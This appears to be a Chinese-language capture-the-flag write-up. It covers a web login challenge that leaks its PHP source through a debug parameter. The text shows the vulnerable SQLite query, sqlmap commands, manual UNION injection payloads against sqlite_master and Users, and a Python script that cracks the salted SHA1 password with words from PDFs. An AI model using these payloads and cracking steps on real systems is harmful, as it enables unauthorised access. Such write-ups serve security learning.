点开一个链接,还有一个链接,再点开,又是一堆链接,唯一不同的就是pdf不一样。。。
上dirsearch扫一下,扫到了admin.php和login.php,先去admin.php里面看下
用弱口令爆破失败,尝试sql注入也失败,查看网页源代码也没有什么东西,无奈只好去login.php看看。
基本上和admin.php一样的配置,不过这次查看网页源代码发现了一些东西
<!-- TODO: Remove ?debug-Parameter! -->
试试在链接后面加上debug参数,得到回显
<?php
ob_start();
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
</head>
<body>
<div align=right class=lastmod>
Last Modified: Fri Mar 31:33:7 UTC 1337
</div>
<h1>Login</h1>
Login Page, do not try to hax here plox!<br>
<form method="post">
ID:<br>
<input type="text" name="usr">
<br>
Password:<br>
<input type="text" name="pw">
<br><br>
<input type="submit" value="Submit">
</form>
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! -->
<hr noshade>
<address>Flux Horst (Flux dot Horst at rub dot flux)</address>
</body>
这个就是login.php的代码了,可以看到sql查询处是没有防注入措施的,上sqlmap:
sqlmap -u http://220.249.52.134:39164/login.php --data usr= --tables
Database: SQLite_masterdb
[1 table]
+-------+
| Users |
+-------+
查到了Users表,接着查询列名:
sqlmap -u http://220.249.52.134:39164/login.php --data usr= -T Users --columns
Database: SQLite_masterdb
Table: Users
[0 columns]
+--------+
| Column |
+--------+
+--------+
然而什么都没有查到,没办法,只能继续尝试手注看看
SQLite数据库中一个特殊的名叫 SQLITE_MASTER 上执行一个SELECT查询以获得所有表的索引。每一个 SQLite 数据库都有一个叫 SQLITE_MASTER 的表, 它定义数据库的模式。
> 其中有一个sql列,记录了创建该项目的sql语句。
usr=123' union select name,sql from sqlite_master--&pw=123
得到sql语句
CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255));
除了用户名和密码外,还有一个hint,看一下 ``` usr=123’ union select name,hint from Users—&pw=123
name=+my+fav+word+in+my+fav+paper%3F%21; expires=Sat, 26-Dec-2020 08:36:21 GMT; Max-Age=60; path=/
猜测这个fav word就是密码,并且通过注入得到加密后的密码:
3fab54a50e770d830c0416df817567662a9dc85c
剩下的就是从每篇pdf中遍历单词,看看加密后的密码是否与数据库中的相同即可。
```python
import os
import hashlib
from pdfminer.pdfinterp import PDFResourceManager, process_pdf
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from io import StringIO
from io import open
def readPDF(pdfFile):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
laparams = LAParams()
device = TextConverter(rsrcmgr, retstr, laparams=laparams)
process_pdf(rsrcmgr, device, pdfFile)
device.close()
content = retstr.getvalue()
retstr.close()
return content
for file in os.listdir("."):
if os.path.splitext(file)[1] == ".pdf":
with open(file,"rb") as pdf:
pdf_text=readPDF(pdf)
text_list=pdf_text.split()
for i in text_list:
sha1_passwd=hashlib.sha1((i+"Salz!").encode("utf-8")).hexdigest()
if sha1_passwd=="3fab54a50e770d830c0416df817567662a9dc85c":
print("PASSWORD:"+i)
exit()
找到单词后登录,得到flag。